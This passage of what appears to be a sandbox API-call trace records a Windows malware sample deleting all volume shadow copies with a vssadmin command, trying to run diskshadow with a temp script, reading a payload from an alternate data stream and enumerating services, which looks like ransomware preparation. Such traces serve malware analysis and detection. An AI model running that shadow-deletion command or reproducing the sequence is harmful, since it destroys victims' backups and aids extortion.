Flags=0x0, BaseAddress=0x1d991c8) returned 1 [0031.633] GetLastError () returned 0x2 [0031.633] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d92850 [0031.633] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.633] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d991c8) returned 1 [0031.633] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.634] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.634] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bb2d0, lpbSaclPresent=0x18fbf4, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf4 | out: lpbSaclPresent=0x18fbf4, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf4) returned 1 [0031.634] CreateMutexA (lpMutexAttributes=0x18fc40, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x130 [0031.634] GetLastError () returned 0x0 [0031.634] SetSecurityInfo () returned 0x0 [0031.634] LocalFree (hMem=0x2bb2d0) returned 0x0 [0031.634] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x0 [0031.634] ReleaseMutex (hMutex=0x130) returned 1 [0031.634] SetEvent (hEvent=0xec) returned 1 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d99e98 [0031.635] GetSystemDirectoryW (in: lpBuffer=0x1d99e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0031.635] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e98) returned 1 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e9d8 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d92850 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.635] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d991c8) returned 1 [0031.635] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d92850 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.635] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d991c8) returned 1 [0031.635] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.635] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ea60 [0031.635] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x18fbb8*(hProcess=0x138, hThread=0x134, dwProcessId=0xb50, dwThreadId=0xb74)) returned 1 [0031.645] NtClose (Handle=0x134) returned 0x0 [0031.645] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ea60) returned 1 [0031.645] NtClose (Handle=0x138) returned 0x0 [0031.645] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ea60 [0031.645] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x400) returned 0x1d92850 [0031.645] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x400) returned 0x1d92c58 [0031.645] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x1d92850, nSize=0x100 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0031.645] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpszShortPath=0x1d92c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0031.645] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92c58) returned 1 [0031.645] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.645] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ea60) returned 1 [0031.645] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ea60 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x400) returned 0x1d92850 [0031.646] CryptAcquireContextW (in: phProv=0x18fb94, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb94*=0x2d5c68) returned 1 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x184) returned 0x1d92c58 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99210 [0031.646] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99258 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d992a0 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d992e8 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99330 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99378 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d993c0 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99408 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99450 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99498 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d994e0 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99528 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99570 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d995b8 [0031.647] CryptGenRandom (in: hProv=0x2d5c68, dwLen=0x4, pbBuffer=0x18fba8 | out: pbBuffer=0x18fba8) returned 1 [0031.647] CryptReleaseContext (hProv=0x2d5c68, dwFlags=0x0) returned 1 [0031.647] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eae8 [0031.647] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x2d5c68) returned 1 [0031.648] CryptGenRandom (in: hProv=0x2d5c68, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0031.648] CryptReleaseContext (hProv=0x2d5c68, dwFlags=0x0) returned 1 [0031.648] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="F", uUnique=0x0, lpTempFileName=0x1d92850 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\f888f.tmp")) returned 0x888f [0031.649] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eae8) returned 1 [0031.649] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x400) returned 0x1d92de8 [0031.649] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp", lpszShortPath=0x1d92de8, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp") returned 0x2e [0031.649] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.649] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ea60) returned 1 [0031.649] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ea60 [0031.649] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\f888f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18fb9c | out: lpFileInformation=0x18fb9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6158aa50, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6158aa50, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6158aa50, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0031.649] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\f888f.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0031.652] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x18fbe0, lpLastWriteTime=0x18fbe0) returned 1 [0031.652] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d931f0 [0031.652] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99600 [0031.652] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99600) returned 1 [0031.652] WriteFile (in: hFile=0x138, lpBuffer=0x1d931f0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18fc0c, lpOverlapped=0x0 | out: lpBuffer=0x1d931f0*, lpNumberOfBytesWritten=0x18fc0c*=0x1a, lpOverlapped=0x0) returned 1 [0031.653] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d931f0) returned 1 [0031.653] NtClose (Handle=0x138) returned 0x0 [0031.654] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d99e98 [0031.654] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99600 [0031.654] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99600) returned 1 [0031.654] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e98) returned 1 [0031.654] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eae8 [0031.654] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d92850 [0031.654] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eae8) returned 1 [0031.654] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\diskshadow.exe", lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\F888F.tmp", lpProcessInformation=0x18fbb8*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0031.654] NtClose (Handle=0x0) returned 0xc0000008 [0031.654] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.654] NtClose (Handle=0x0) returned 0xc0000008 [0031.655] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ea60) returned 1 [0031.655] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92de8) returned 1 [0031.655] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e9d8) returned 1 [0031.655] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.655] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.655] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x60bdf0f0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x60bdf0f0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x60bdf0f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0031.655] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0031.655] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 0 [0031.655] GetFileSize (in: hFile=0x138, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x25000 [0031.655] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0031.655] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x25000) returned 0x1d99e98 [0031.656] ReadFile (in: hFile=0x138, lpBuffer=0x1d99e98, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1d99e98*, lpNumberOfBytesRead=0x18fc58*=0x25000, lpOverlapped=0x0) returned 1 [0031.658] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x25000) returned 0x1dbeea0 [0031.659] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e98) returned 1 [0031.659] NtClose (Handle=0x138) returned 0x0 [0031.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2d3600 [0031.660] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40000) returned 0x1de3ea8 [0031.662] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x400) returned 0x1d92850 [0031.662] EnumServicesStatusExW (in: hSCManager=0x2d3600, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x1de3ea8, cbBufSize=0x40000, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00, pszGroupName=0x0 | out: lpServices=0x1de3ea8, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00) returned 1 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99600 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e9d8 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ea60 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eae8 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eb70 [0031.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99648 [0031.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1d99648, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0031.801] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99690 [0031.801] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99648) returned 1 [0031.801] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99690) returned 1 [0031.801] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eb70) returned 1 [0031.801] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0031.802] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.802] GetLastError () returned 0x7a [0031.802] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.802] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eb70 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ebf8 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7eb70) returned 1 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ebf8) returned 1 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ebf8 [0031.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99690 [0031.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x1d99690, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashplayerupdateservice.exe", lpUsedDefaultChar=0x0) returned 28 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99648 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99690) returned 1 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99648) returned 1 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ebf8) returned 1 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99648 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99690 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ebf8 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eb70 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ec80 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed08 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed90 [0031.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d996d8 [0031.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1d996d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0031.803] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99720 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d996d8) returned 1 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99720) returned 1 [0031.803] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed90) returned 1 [0031.803] OpenServiceW (hSCManager=0x2d3600, lpServiceName="AeLookupSvc", dwDesiredAccess=0x1) returned 0x2d3790 [0031.803] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0031.804] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.804] GetLastError () returned 0x7a [0031.804] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x106, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed90 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ee18 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed90) returned 1 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ee18) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ee18 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed90 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ee18) returned 1 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed90) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed90 [0031.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99720 [0031.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d99720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d996d8 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99720) returned 1 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d996d8) returned 1 [0031.804] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ed90) returned 1 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d996d8 [0031.804] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ed90 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ee18 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7eea0 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ef28 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7efb0 [0031.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99720 [0031.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1d99720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0031.805] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99768 [0031.805] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99720) returned 1 [0031.805] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99768) returned 1 [0031.805] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7efb0) returned 1 [0031.805] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ALG", dwDesiredAccess=0x1) returned 0x2d36f0 [0031.805] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0031.805] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0031.805] GetLastError () returned 0x7a [0031.805] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x11a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, 